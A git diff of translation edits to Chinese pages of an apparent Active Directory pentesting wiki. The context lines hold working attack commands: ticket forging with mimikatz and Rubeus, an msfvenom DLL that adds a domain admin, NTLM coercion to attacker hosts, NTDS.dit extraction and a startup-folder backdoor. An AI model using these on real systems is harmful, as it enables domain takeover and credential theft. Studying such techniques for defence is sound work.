+如果可利用，Kerberoasting 可以以高度隐蔽的方式进行。为了检测此活动，应关注 **Security Event ID 4769**，该事件表示请求了 Kerberos 票证。然而，由于此事件的高频率，必须应用特定过滤器以隔离可疑活动：
 
 - 服务名称不应为 **krbtgt**，因为这是正常请求。
 - 以 **$** 结尾的服务名称应被排除，以避免包括用于服务的机器帐户。
 - 应通过排除格式为 **machine@domain** 的帐户名称来过滤来自机器的请求。
-- 仅应考虑成功的票证请求，通过失败代码 **'0x0'** 进行识别。
+- 仅应考虑成功的票证请求，通过失败代码 **'0x0'** 识别。
 - **最重要的是**，票证加密类型应为 **0x17**，这通常用于 Kerberoasting 攻击。
 ```bash
 Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
@@ -123,12 +123,12 @@ Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{
 
 ## Kerberoast w/o domain account
 
-在 **2022 年 9 月**，一位名为 Charlie Clark 的研究人员揭示了一种新的系统利用方式，通过他的平台 [exploit.ph](https://exploit.ph/) 分享。这种方法允许通过 **KRB_AS_REQ** 请求获取 **服务票据 (ST)**，而令人惊讶的是，这并不需要控制任何 Active Directory 账户。基本上，如果一个主体设置为不需要预身份验证——这种情况类似于网络安全领域所称的 **AS-REP Roasting 攻击**——则可以利用这一特性来操纵请求过程。具体来说，通过更改请求主体中的 **sname** 属性，系统被欺骗发出 **ST** 而不是标准的加密票据授予票据 (TGT)。
+在 **2022 年 9 月**，一位名为 Charlie Clark 的研究人员揭示了一种新的系统利用方式，通过他的平台 [exploit.ph](https://exploit.ph/) 分享。这种方法允许通过 **KRB_AS_REQ** 请求获取 **服务票据 (ST)**，而令人惊讶的是，这并不需要对任何 Active Directory 账户的控制。基本上，如果一个主体设置为不需要预身份验证——这种情况类似于网络安全领域所称的 **AS-REP Roasting 攻击**——则可以利用这一特性来操纵请求过程。具体来说，通过更改请求主体中的 **sname** 属性，系统被欺骗发出 **ST** 而不是标准的加密票据授予票据 (TGT)。
 
 该技术在这篇文章中有详细解释：[Semperis 博客文章](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/)。
 
 > [!WARNING]
-> 您必须提供用户列表，因为我们没有有效的账户来使用此技术查询 LDAP。
+> 你必须提供用户列表，因为我们没有有效的账户来使用此技术查询 LDAP。
 
 #### Linux
 
diff --git a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md
index e5460b796..2f454c222 100644
--- a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md
+++ b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md
@@ -17,12 +17,12 @@ Kerberos "Double Hop" 问题出现在攻击者试图在两个跳跃中使用 **K
 
 ### Unconstrained Delegation
 
-如果在 PC 上启用了 **unconstrained delegation**，则不会发生这种情况，因为 **Server** 将 **获取** 每个访问它的用户的 **TGT**。此外，如果使用了不受限制的委托，你可能会 **妥协域控制器**。\
+如果在 PC 上启用了 **unconstrained delegation**，则不会发生这种情况，因为 **Server** 将 **获取** 每个访问它的用户的 **TGT**。此外，如果使用了不受限制的委托，你可能可以 **从中妥协域控制器**。\
 [**更多信息请参见不受限制的委托页面**](unconstrained-delegation.md)。
 
 ### CredSSP
 
-另一种避免此问题的方法是 [**显著不安全**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) 的 **凭据安全支持提供程序**。来自 Microsoft 的说明：
+另一种避免此问题的方法是 [**显著不安全**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) 的 **凭据安全支持提供程序**。来自微软的说明：
 
 > CredSSP 认证将用户凭据从本地计算机委托到远程计算机。这种做法增加了远程操作的安全风险。如果远程计算机被攻破，当凭据被传递给它时，这些凭据可以用于控制网络会话。
 
@@ -77,7 +77,7 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
 2. 解压并运行 `Install-sshd.ps1` 脚本。
 3. 添加防火墙规则以打开 22 端口，并验证 SSH 服务是否正在运行。
 
-要解决 `Connection reset` 错误，可能需要更新权限以允许所有人对 OpenSSH 目录的读取和执行访问。
+要解决 `Connection reset` 错误，可能需要更新权限，以允许所有人对 OpenSSH 目录的读取和执行访问。
 ```bash
 icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
 ```
diff --git a/src/windows-hardening/active-directory-methodology/laps.md b/src/windows-hardening/active-directory-methodology/laps.md
index db191ae7c..af13f493f 100644
--- a/src/windows-hardening/active-directory-methodology/laps.md
+++ b/src/windows-hardening/active-directory-methodology/laps.md
@@ -5,7 +5,7 @@
 
 ## 基本信息
 
-Local Administrator Password Solution (LAPS) 是一个用于管理系统的工具，其中 **管理员密码** 是 **唯一的、随机生成的，并且经常更改**，适用于加入域的计算机。这些密码安全地存储在 Active Directory 中，仅对通过访问控制列表 (ACL) 授予权限的用户可访问。通过使用 **Kerberos 版本 5** 和 **高级加密标准 (AES)** 确保从客户端到服务器的密码传输安全。
+Local Administrator Password Solution (LAPS) 是一个用于管理系统的工具，其中 **管理员密码** 是 **唯一的、随机生成的，并且经常更改**，应用于域加入的计算机。这些密码安全地存储在 Active Directory 中，仅对通过访问控制列表 (ACL) 授予权限的用户可访问。通过使用 **Kerberos 版本 5** 和 **高级加密标准 (AES)** 确保从客户端到服务器的密码传输安全。
 
 在域的计算机对象中，LAPS 的实施导致添加两个新属性：**`ms-mcs-AdmPwd`** 和 **`ms-mcs-AdmPwdExpirationTime`**。这些属性分别存储 **明文管理员密码** 和 **其过期时间**。
 
diff --git a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md
index a508d8e3b..25573de6b 100644
--- a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md
+++ b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md
@@ -5,9 +5,9 @@
 
 ## Overpass The Hash/Pass The Key (PTK)
 
-**Overpass The Hash/Pass The Key (PTK)** 攻击旨在传统 NTLM 协议受到限制且 Kerberos 认证优先的环境中。此攻击利用用户的 NTLM 哈希或 AES 密钥来请求 Kerberos 票证，从而实现对网络内资源的未经授权访问。
+**Overpass The Hash/Pass The Key (PTK)** 攻击旨在传统 NTLM 协议受到限制且 Kerberos 认证占主导地位的环境中。此攻击利用用户的 NTLM 哈希或 AES 密钥来请求 Kerberos 票证，从而实现对网络内资源的未经授权访问。
 
-要执行此攻击，第一步涉及获取目标用户帐户的 NTLM 哈希或密码。在获取此信息后，可以为该帐户获取票证授予票证 (TGT)，允许攻击者访问用户拥有权限的服务或机器。
+要执行此攻击，第一步涉及获取目标用户帐户的 NTLM 哈希或密码。获得此信息后，可以为该帐户获取票证授予票证 (TGT)，使攻击者能够访问用户拥有权限的服务或机器。
 
 该过程可以通过以下命令启动：
 ```bash
@@ -24,7 +24,7 @@ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
 .\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
 .\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
 ```
-该方法与 **Pass the Key** 方法相似，重点在于直接控制和利用票证进行身份验证。需要注意的是，TGT 请求的发起会触发事件 `4768: A Kerberos authentication ticket (TGT) was requested`，这表明默认使用 RC4-HMAC，尽管现代 Windows 系统更倾向于使用 AES256。
+该方法镜像了 **Pass the Key** 方法，重点在于直接控制和利用票证进行身份验证。需要注意的是，TGT 请求的发起会触发事件 `4768: A Kerberos authentication ticket (TGT) was requested`，这表明默认使用 RC4-HMAC，尽管现代 Windows 系统更倾向于使用 AES256。
 
 为了符合操作安全并使用 AES256，可以应用以下命令：
 ```bash
diff --git a/src/windows-hardening/active-directory-methodology/pass-the-ticket.md b/src/windows-hardening/active-directory-methodology/pass-the-ticket.md
index f58d2236f..2dcbe3b21 100644
--- a/src/windows-hardening/active-directory-methodology/pass-the-ticket.md
+++ b/src/windows-hardening/active-directory-methodology/pass-the-ticket.md
@@ -4,16 +4,16 @@
 
 ## Pass The Ticket (PTT)
 
-在**Pass The Ticket (PTT)**攻击方法中，攻击者**窃取用户的认证票证**，而不是他们的密码或哈希值。这个被窃取的票证随后被用来**冒充用户**，从而获得对网络内资源和服务的未授权访问。
+在**Pass The Ticket (PTT)**攻击方法中，攻击者**窃取用户的认证票据**，而不是他们的密码或哈希值。这个被窃取的票据随后被用来**冒充用户**，从而在网络中获得对资源和服务的未授权访问。
 
 **阅读**：
 
-- [从Windows中收集票证](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
-- [从Linux中收集票证](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
+- [从Windows中收集票据](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
+- [从Linux中收集票据](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
 
-### **在平台之间交换Linux和Windows票证**
+### **在平台之间交换Linux和Windows票据**
 
-[**ticket_converter**](https://github.com/Zer1t0/ticket_converter)工具仅使用票证本身和输出文件来转换票证格式。
+[**ticket_converter**](https://github.com/Zer1t0/ticket_converter)工具仅使用票据本身和输出文件来转换票据格式。
 ```bash
 python ticket_converter.py velociraptor.ccache velociraptor.kirbi
 Converting ccache => kirbi
diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md
index 3f9e9a122..d61af865c 100644
--- a/src/windows-hardening/active-directory-methodology/password-spraying.md
+++ b/src/windows-hardening/active-directory-methodology/password-spraying.md
@@ -2,6 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
+
 ## **密码喷洒**
 
 一旦你找到了几个 **有效的用户名**，你可以尝试最 **常见的密码**（请记住环境的密码策略）与每个发现的用户。\
@@ -13,7 +14,7 @@
 
 ### 获取密码策略
 
-如果你有一些用户凭据或作为域用户的 shell，你可以 **通过以下方式获取密码策略**：
+如果你有一些用户凭据或作为域用户的 shell，你可以 **获取密码策略**：
 ```bash
 # From Linux
 crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@@ -76,7 +77,7 @@ done
 # check passwords for all users in current domain
 .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
 ```
-- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)（它可以默认从域生成用户，并将从域获取密码策略，并根据该策略限制尝试次数）：
+- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)（它可以默认从域中生成用户，并将从域中获取密码策略，并根据该策略限制尝试次数）：
 ```powershell
 Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 ```
@@ -90,7 +91,7 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
 ```
 ## Outlook Web Access
 
-有多种工具用于**密码喷洒 Outlook**。
+有多种工具可以进行**密码喷洒 Outlook**。
 
 - 使用 [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
 - 使用 [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
index 793dda6d3..ed0a51a20 100644
--- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
+++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
@@ -8,18 +8,18 @@
 
 ## Spooler 服务滥用
 
-如果 _**Print Spooler**_ 服务 **启用，** 您可以使用一些已知的 AD 凭据 **请求** 域控制器的打印服务器更新新打印作业，并告诉它 **将通知发送到某个系统**。\
+如果 _**Print Spooler**_ 服务 **启用，** 您可以使用一些已知的 AD 凭据向域控制器的打印服务器 **请求** 新打印作业的 **更新**，并告诉它 **将通知发送到某个系统**。\
 请注意，当打印机将通知发送到任意系统时，它需要 **对该系统进行认证**。因此，攻击者可以使 _**Print Spooler**_ 服务对任意系统进行认证，并且该服务将在此认证中 **使用计算机账户**。
 
 ### 在域中查找 Windows 服务器
 
-使用 PowerShell，获取 Windows 机器的列表。服务器通常是优先考虑的，因此我们将重点放在这里：
+使用 PowerShell 获取 Windows 计算机的列表。服务器通常是优先考虑的，因此我们将重点放在这里：
 ```bash
 Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
 ```
 ### 查找监听的Spooler服务
 
-使用稍微修改过的@mysmartlogin（Vincent Le Toux）的 [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket)，查看Spooler服务是否在监听：
+使用稍微修改过的@mysmartlogin（Vincent Le Toux）的[SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket)，查看Spooler服务是否在监听：
 ```bash
 . .\Get-SpoolStatus.ps1
 ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
@@ -41,7 +41,7 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
 ```
 ### 结合不受限制的委托
 
-如果攻击者已经攻陷了一台具有 [Unconstrained Delegation](unconstrained-delegation.md) 的计算机，攻击者可以 **使打印机对该计算机进行身份验证**。由于不受限制的委托，**打印机的计算机帐户的 TGT** 将 **保存在** 具有不受限制委托的计算机的 **内存** 中。由于攻击者已经攻陷了该主机，他将能够 **检索此票证** 并加以利用 ([Pass the Ticket](pass-the-ticket.md))。
+如果攻击者已经攻陷了一台具有 [不受限制的委托](unconstrained-delegation.md) 的计算机，攻击者可以**使打印机对该计算机进行身份验证**。由于不受限制的委托，**打印机的计算机帐户的 TGT** 将被**保存在**具有不受限制委托的计算机的**内存**中。由于攻击者已经攻陷了该主机，他将能够**检索此票证**并加以利用（[Pass the Ticket](pass-the-ticket.md)）。
 
 ## RCP 强制身份验证
 
@@ -49,13 +49,13 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
 
 ## PrivExchange
 
-`PrivExchange` 攻击是由于 **Exchange Server `PushSubscription` 功能** 中发现的缺陷。该功能允许任何具有邮箱的域用户强制 Exchange 服务器通过 HTTP 对任何客户端提供的主机进行身份验证。
+`PrivExchange` 攻击是由于在 **Exchange Server `PushSubscription` 功能** 中发现的缺陷。该功能允许任何具有邮箱的域用户强制 Exchange 服务器通过 HTTP 对任何客户端提供的主机进行身份验证。
 
-默认情况下，**Exchange 服务以 SYSTEM 身份运行**，并被赋予过多的权限（具体来说，它在 2019 年之前的累积更新上具有 **WriteDacl 权限**）。此缺陷可以被利用以启用 **向 LDAP 中转信息并随后提取域 NTDS 数据库**。在无法向 LDAP 中转的情况下，此缺陷仍然可以用于在域内中转和对其他主机进行身份验证。成功利用此攻击将立即授予任何经过身份验证的域用户帐户对域管理员的访问权限。
+默认情况下，**Exchange 服务以 SYSTEM 身份运行**，并被赋予过多的权限（具体来说，它在域的 2019 年之前的累积更新上具有 **WriteDacl 权限**）。此缺陷可被利用以启用**向 LDAP 中转信息并随后提取域 NTDS 数据库**。在无法向 LDAP 中转的情况下，此缺陷仍可用于在域内对其他主机进行中转和身份验证。成功利用此攻击将立即授予任何经过身份验证的域用户帐户对域管理员的访问权限。
 
 ## 在 Windows 内部
 
-如果您已经在 Windows 机器内部，可以使用以下命令强制 Windows 使用特权帐户连接到服务器：
+如果您已经在 Windows 机器内部，可以使用特权帐户强制 Windows 连接到服务器，方法是：
 
 ### Defender MpCmdRun
 ```bash
@@ -88,7 +88,7 @@ certutil.exe -syncwithWU  \\127.0.0.1\share
 
 ### 通过电子邮件
 
-如果您知道要攻击的机器上登录用户的 **电子邮件地址**，您可以直接向他发送一封 **带有 1x1 图像** 的电子邮件，例如
+如果你知道想要攻陷的机器上用户的 **电子邮件地址**，你可以给他发送一封 **带有 1x1 图像** 的电子邮件，例如
 ```html
 <img src="\\10.10.17.231\test.ico" height="1" width="1" />
 ```
diff --git a/src/windows-hardening/active-directory-methodology/printnightmare.md b/src/windows-hardening/active-directory-methodology/printnightmare.md
index 27ebf7627..6af7a2eef 100644
--- a/src/windows-hardening/active-directory-methodology/printnightmare.md
+++ b/src/windows-hardening/active-directory-methodology/printnightmare.md
@@ -2,6 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**查看这篇关于2024年PrintNightmare的精彩博客文章: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
+**查看这篇关于PrintNightmare的精彩博客文章，时间为2024年：[https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
index e63189194..27069d2eb 100644
--- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
+++ b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
@@ -20,7 +20,7 @@ Get-NetGroupMember -Identity "Account Operators" -Recurse
 
 ## AdminSDHolder 组
 
-**AdminSDHolder** 组的访问控制列表 (ACL) 至关重要，因为它为 Active Directory 中所有“受保护组”设置权限，包括高权限组。该机制通过防止未经授权的修改来确保这些组的安全。
+**AdminSDHolder** 组的访问控制列表 (ACL) 是至关重要的，因为它为 Active Directory 中所有“受保护组”设置权限，包括高权限组。该机制通过防止未经授权的修改来确保这些组的安全。
 
 攻击者可以通过修改 **AdminSDHolder** 组的 ACL 来利用这一点，向标准用户授予完全权限。这将有效地使该用户对所有受保护组拥有完全控制权。如果该用户的权限被更改或移除，由于系统的设计，他们将在一小时内自动恢复。
 
@@ -46,7 +46,7 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
 
 ### 权限提升
 
-使用 Sysinternals 的 `PsService` 或 `sc`，可以检查和修改服务权限。例如，`Server Operators` 组对某些服务拥有完全控制权，允许执行任意命令和权限提升：
+使用 Sysinternals 的 `PsService` 或 `sc`，可以检查和修改服务权限。例如，`Server Operators` 组对某些服务拥有完全控制权，从而允许执行任意命令和权限提升：
 ```cmd
 C:\> .\PsService.exe security AppReadiness
 ```
@@ -54,7 +54,7 @@ C:\> .\PsService.exe security AppReadiness
 
 ## 备份操作员
 
-加入 `Backup Operators` 组可访问 `DC01` 文件系统，因为拥有 `SeBackup` 和 `SeRestore` 权限。这些权限使得文件夹遍历、列出和复制文件的能力成为可能，即使没有明确的权限，使用 `FILE_FLAG_BACKUP_SEMANTICS` 标志。此过程需要使用特定的脚本。
+加入 `Backup Operators` 组提供对 `DC01` 文件系统的访问权限，因为拥有 `SeBackup` 和 `SeRestore` 权限。这些权限使得文件夹遍历、列出和文件复制成为可能，即使没有明确的权限，也可以使用 `FILE_FLAG_BACKUP_SEMANTICS` 标志。此过程需要使用特定的脚本。
 
 要列出组成员，请执行：
 ```powershell
@@ -117,7 +117,7 @@ secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
 ```
 #### 使用 wbadmin.exe
 
-1. 在攻击者机器上设置 NTFS 文件系统以用于 SMB 服务器，并在目标机器上缓存 SMB 凭据。
+1. 在攻击者机器上设置 NTFS 文件系统以供 SMB 服务器使用，并在目标机器上缓存 SMB 凭据。
 2. 使用 `wbadmin.exe` 进行系统备份和 `NTDS.dit` 提取：
 ```cmd
 net use X: \\<AttackIP>\sharename /user:smbuser password
@@ -130,7 +130,7 @@ echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\
 
 ## DnsAdmins
 
-**DnsAdmins** 组的成员可以利用他们的权限在 DNS 服务器上加载具有 SYSTEM 权限的任意 DLL，通常托管在域控制器上。此能力允许显著的利用潜力。
+**DnsAdmins** 组的成员可以利用他们的特权在 DNS 服务器上加载任意 DLL，通常托管在域控制器上，具有 SYSTEM 特权。这种能力允许显著的利用潜力。
 
 要列出 DnsAdmins 组的成员，请使用：
 ```powershell
@@ -158,7 +158,7 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
 // Generate DLL with msfvenom
 msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
 ```
-重新启动 DNS 服务（这可能需要额外的权限）是加载 DLL 所必需的：
+重新启动 DNS 服务（可能需要额外的权限）是加载 DLL 所必需的：
 ```csharp
 sc.exe \\dc01 stop dns
 sc.exe \\dc01 start dns
@@ -193,7 +193,7 @@ Hyper-V 管理员对 Hyper-V 拥有完全访问权限，这可以被利用来控
 
 ### 利用示例
 
-Hyper-V 管理员可以利用 Firefox 的 Mozilla Maintenance Service 以 SYSTEM 身份执行命令。这涉及到创建一个指向受保护的 SYSTEM 文件的硬链接，并用恶意可执行文件替换它：
+Hyper-V 管理员可以利用 Firefox 的 Mozilla Maintenance Service 以 SYSTEM 身份执行命令。这涉及创建一个指向受保护的 SYSTEM 文件的硬链接，并用恶意可执行文件替换它：
 ```bash
 # Take ownership and start the service
 takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
@@ -215,11 +215,11 @@ sc.exe start MozillaMaintenance
 ```powershell
 Get-NetGroupMember -Identity "Print Operators" -Recurse
 ```
-有关 **`SeLoadDriverPrivilege`** 的更详细利用技术，应该查阅特定的安全资源。
+有关**`SeLoadDriverPrivilege`**的更详细利用技术，应该查阅特定的安全资源。
 
 #### 远程桌面用户
 
-该组的成员通过远程桌面协议 (RDP) 获得对 PC 的访问权限。要列举这些成员，可以使用 PowerShell 命令：
+该组的成员通过远程桌面协议（RDP）获得对PC的访问权限。要枚举这些成员，可以使用PowerShell命令：
 ```powershell
 Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
 Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
diff --git a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
index c79b2be6c..3be5f5d4b 100644
--- a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
+++ b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
@@ -36,7 +36,7 @@ beacon> inject 4960 x64 tcp-local
 
 如果用户通过 **RDP 访问一台机器**，而 **攻击者** 正在 **等待** 他，攻击者将能够 **在用户的 RDP 会话中注入一个信标**，如果 **受害者在通过 RDP 访问时挂载了他的驱动器**，**攻击者可以访问它**。
 
-在这种情况下，你可以通过在 **启动文件夹** 中写入一个 **后门** 来 **妥协** **受害者** 的 **原始计算机**。
+在这种情况下，你可以通过在 **启动文件夹** 中写入一个 **后门** 来 **妥协** **受害者的原始计算机**。
 ```powershell
 # Wait til someone logs in:
 net logons
diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md
index a1fd7ba9c..776da35a6 100644
--- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md
+++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md
@@ -27,7 +27,7 @@
 2. 攻击者**利用其对受害计算机的写权限**（ServiceB）配置**基于资源的受限委派，以允许 ServiceA 对该受害计算机（ServiceB）进行 impersonate 任何用户**。
 3. 攻击者使用 Rubeus 执行**完整的 S4U 攻击**（S4U2Self 和 S4U2Proxy），从服务 A 到服务 B，针对**具有对服务 B 的特权访问的用户**。
    1. S4U2Self（来自被破坏/创建的 SPN 账户）：请求**管理员的 TGS 给我**（不可转发）。
-   2. S4U2Proxy：使用前一步的**不可转发 TGS**请求从**管理员**到**受害主机**的**TGS**。
+   2. S4U2Proxy：使用前一步的**不可转发 TGS**请求**管理员**到**受害主机**的**TGS**。
    3. 即使您使用的是不可转发的 TGS，由于您正在利用基于资源的受限委派，它将有效。
    4. 攻击者可以**传票**并**冒充**用户以获得对**受害 ServiceB**的**访问**。
 
@@ -89,7 +89,7 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:admin
 
 ### 访问
 
-最后一条命令行将执行 **完整的 S4U 攻击，并将 TGS 从 Administrator 注入到受害主机的 **内存** 中。\
+最后一条命令将执行 **完整的 S4U 攻击，并将 TGS** 从 Administrator 注入到受害主机的 **内存** 中。\
 在此示例中，请求了 Administrator 的 **CIFS** 服务的 TGS，因此您将能够访问 **C$**：
 ```bash
 ls \\victim.domain.local\C$
diff --git a/src/windows-hardening/active-directory-methodology/sid-history-injection.md b/src/windows-hardening/active-directory-methodology/sid-history-injection.md
index 11c21e47a..92ecf6a13 100644
--- a/src/windows-hardening/active-directory-methodology/sid-history-injection.md
+++ b/src/windows-hardening/active-directory-methodology/sid-history-injection.md
@@ -4,11 +4,11 @@
 
 ## SID 历史注入攻击
 
-**SID 历史注入攻击**的重点是帮助**用户在域之间迁移**，同时确保继续访问前一个域的资源。这是通过**将用户之前的安全标识符 (SID) 纳入其新账户的 SID 历史**来实现的。值得注意的是，这一过程可以被操控，通过将来自父域的高权限组（如企业管理员或域管理员）的 SID 添加到 SID 历史中，从而授予未经授权的访问权限。这种利用方式使得访问父域内的所有资源成为可能。
+**SID 历史注入攻击**的重点是帮助**用户在域之间迁移**，同时确保继续访问前一个域的资源。这是通过**将用户之前的安全标识符 (SID) 纳入其新账户的 SID 历史**来实现的。值得注意的是，这一过程可以被操控，通过将来自父域的高权限组（如企业管理员或域管理员）的 SID 添加到 SID 历史中，从而授予未经授权的访问权限。这种利用方式使得可以访问父域内的所有资源。
 
-执行此攻击有两种方法：通过创建**黄金票证**或**钻石票证**。
+执行此攻击有两种方法：通过创建**金票**或**钻石票**。
 
-要确定**“企业管理员”**组的 SID，首先必须找到根域的 SID。在识别后，可以通过将 `-519` 附加到根域的 SID 来构建企业管理员组的 SID。例如，如果根域 SID 为 `S-1-5-21-280534878-1496970234-700767426`，则“企业管理员”组的结果 SID 将为 `S-1-5-21-280534878-1496970234-700767426-519`。
+要确定**“企业管理员”**组的 SID，首先必须找到根域的 SID。在识别后，可以通过将 `-519` 附加到根域的 SID 来构建企业管理员组的 SID。例如，如果根域 SID 为 `S-1-5-21-280534878-1496970234-700767426`，则“企业管理员”组的 SID 将为 `S-1-5-21-280534878-1496970234-700767426-519`。
 
 您还可以使用**域管理员**组，其 SID 以**512**结尾。
 
@@ -33,13 +33,13 @@ mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid
 # The previous command will generate a file called ticket.kirbi
 # Just loading you can perform a dcsync attack agains the domain
 ```
-有关黄金票证的更多信息，请查看：
+有关 golden tickets 的更多信息，请查看：
 
 {{#ref}}
 golden-ticket.md
 {{#endref}}
 
-### 钻石票证 (Rubeus + KRBTGT-AES256)
+### Diamond Ticket (Rubeus + KRBTGT-AES256)
 ```powershell
 # Use the /sids param
 Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md
index 9b5f5de10..f76188ac5 100644
--- a/src/windows-hardening/active-directory-methodology/silver-ticket.md
+++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md
@@ -6,11 +6,11 @@
 
 ## Silver ticket
 
-**银票**攻击涉及在Active Directory (AD)环境中利用服务票证。此方法依赖于**获取服务账户的NTLM哈希**，例如计算机账户，以伪造票证授予服务(TGS)票证。通过这个伪造的票证，攻击者可以访问网络上的特定服务，**冒充任何用户**，通常目标是获取管理权限。强调使用AES密钥伪造票证更安全且不易被检测。
+**银票**攻击涉及在Active Directory (AD)环境中利用服务票证。此方法依赖于**获取服务帐户的NTLM哈希**，例如计算机帐户，以伪造票证授予服务(TGS)票证。通过这个伪造的票证，攻击者可以访问网络上的特定服务，**冒充任何用户**，通常目标是获取管理权限。强调使用AES密钥伪造票证更安全且不易被检测。
 
 对于票证制作，根据操作系统使用不同的工具：
 
-### 在Linux上
+### On Linux
 ```bash
 python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
 export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
@@ -109,14 +109,14 @@ wmic remote.computer.local list full /format:list
 ```bash
 New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
 ```
-检查以下页面以了解 **使用 winrm 连接远程主机的更多方法**：
+查看以下页面以了解 **使用 winrm 连接远程主机的更多方法**：
 
 {{#ref}}
 ../lateral-movement/winrm.md
 {{#endref}}
 
 > [!WARNING]
-> 请注意，**winrm 必须在远程计算机上处于活动和监听状态**才能访问。
+> 请注意，**winrm 必须在远程计算机上处于活动状态并监听**才能访问它。
 
 ### LDAP
 
